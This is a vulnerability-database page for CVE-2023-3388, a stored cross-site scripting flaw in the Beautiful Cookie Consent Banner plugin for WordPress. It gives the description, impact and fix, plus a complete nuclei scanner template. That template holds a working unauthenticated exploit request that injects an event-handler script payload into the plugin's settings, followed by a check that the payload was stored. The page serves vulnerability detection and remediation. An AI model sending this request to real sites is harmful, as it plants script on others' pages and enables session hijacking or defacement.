HexBrain

Browse / CVEs / CVE-2023-3388

CVE-2023-3388· beautiful-cookie-banner / beautiful cookie consent banner· CWE-79

Beautiful Cookie Consent Banner < 2.10.2 - Cross-Site Scripting

highseverity
7.2CVSS score
84.3%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

The Beautiful Cookie Consent Banner for WordPress is vulnerable to Stored Cross-Site Scripting via the 'nsc_bar_content_href' parameter in versions up to, and including, 2.10.1 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. A partial patch was made available in 2.10.1 and the issue was fully patched in 2.10.2.

Impact

Attackers can execute arbitrary scripts in users' browsers, potentially leading to session hijacking, defacement, or redirection.

Fix

Update to version 2.10.2 or later.

How to confirm it

Send: POST /wp-admin/admin-post.php
Positive when: len(body) == 0 and status_code == 200
Send: GET /
Positive when: matches /window\.cookieconsent\.initialise\({/ AND contains in content_type "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2023-3388 -u <target>

The full check
id: CVE-2023-3388

info:
  name: Beautiful Cookie Consent Banner < 2.10.2 - Cross-Site Scripting
  author: daffainfo
  severity: high
  description: |
    The Beautiful Cookie Consent Banner for WordPress is vulnerable to Stored Cross-Site Scripting via the 'nsc_bar_content_href' parameter in versions up to, and including, 2.10.1 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. A partial patch was made available in 2.10.1 and the issue was fully patched in 2.10.2.
  impact: |
    Attackers can execute arbitrary scripts in users' browsers, potentially leading to session hijacking, defacement, or redirection.
  remediation: |
    Update to version 2.10.2 or later.
  reference:
    - https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=2857982%40beautiful-and-responsive-cookie-consent&new=2857982%40beautiful-and-responsive-cookie-consent&sfp_email=&sfph_mail=
    - https://www.wordfence.com/blog/2023/05/wordfence-firewall-blocks-bizarre-large-scale-xss-campaign/
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/542a4079-b1a2-49bc-9ddd-ba7978c9992e?source=cve
    - https://nvd.nist.gov/vuln/detail/CVE-2023-3388
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
    cvss-score: 7.2
    cve-id: CVE-2023-3388
    cwe-id: CWE-79
    epss-score: 0.84341
    epss-percentile: 0.99702
    cpe: cpe:2.3:a:beautiful-cookie-banner:beautiful_cookie_consent_banner:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: beautiful-cookie-banner
    product: beautiful_cookie_consent_banner
    framework: wordpress
  tags: cve,cve2023,wordpress,wp,wp-plugin,beautiful-cookie-banner,xss,vkev,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-admin/admin-post.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        nsc_bar_activate_banner=1&nsc_bar_activate_test_banner=0&nsc_bar_content_href=%22%20style%3ddisplay%3ablock%3bcontent-visibility%3aauto%20oncontentvisibilityautostatechange%3d%22alert(document.domain)&nsc_bar_type=opt-in

    matchers:
      - type: dsl
        dsl:
          - 'len(body) == 0'
          - 'status_code == 200'
        condition: and
        internal: true

  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - 'window\.cookieconsent\.initialise\({'
          - '"href":\s+"\\" style=display:block;content-visibility:auto oncontentvisibilityautostatechange=\\"alert\(document\.domain\)"'
        condition: and

      - type: word
        part: content_type
        words:
          - 'text/html'

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from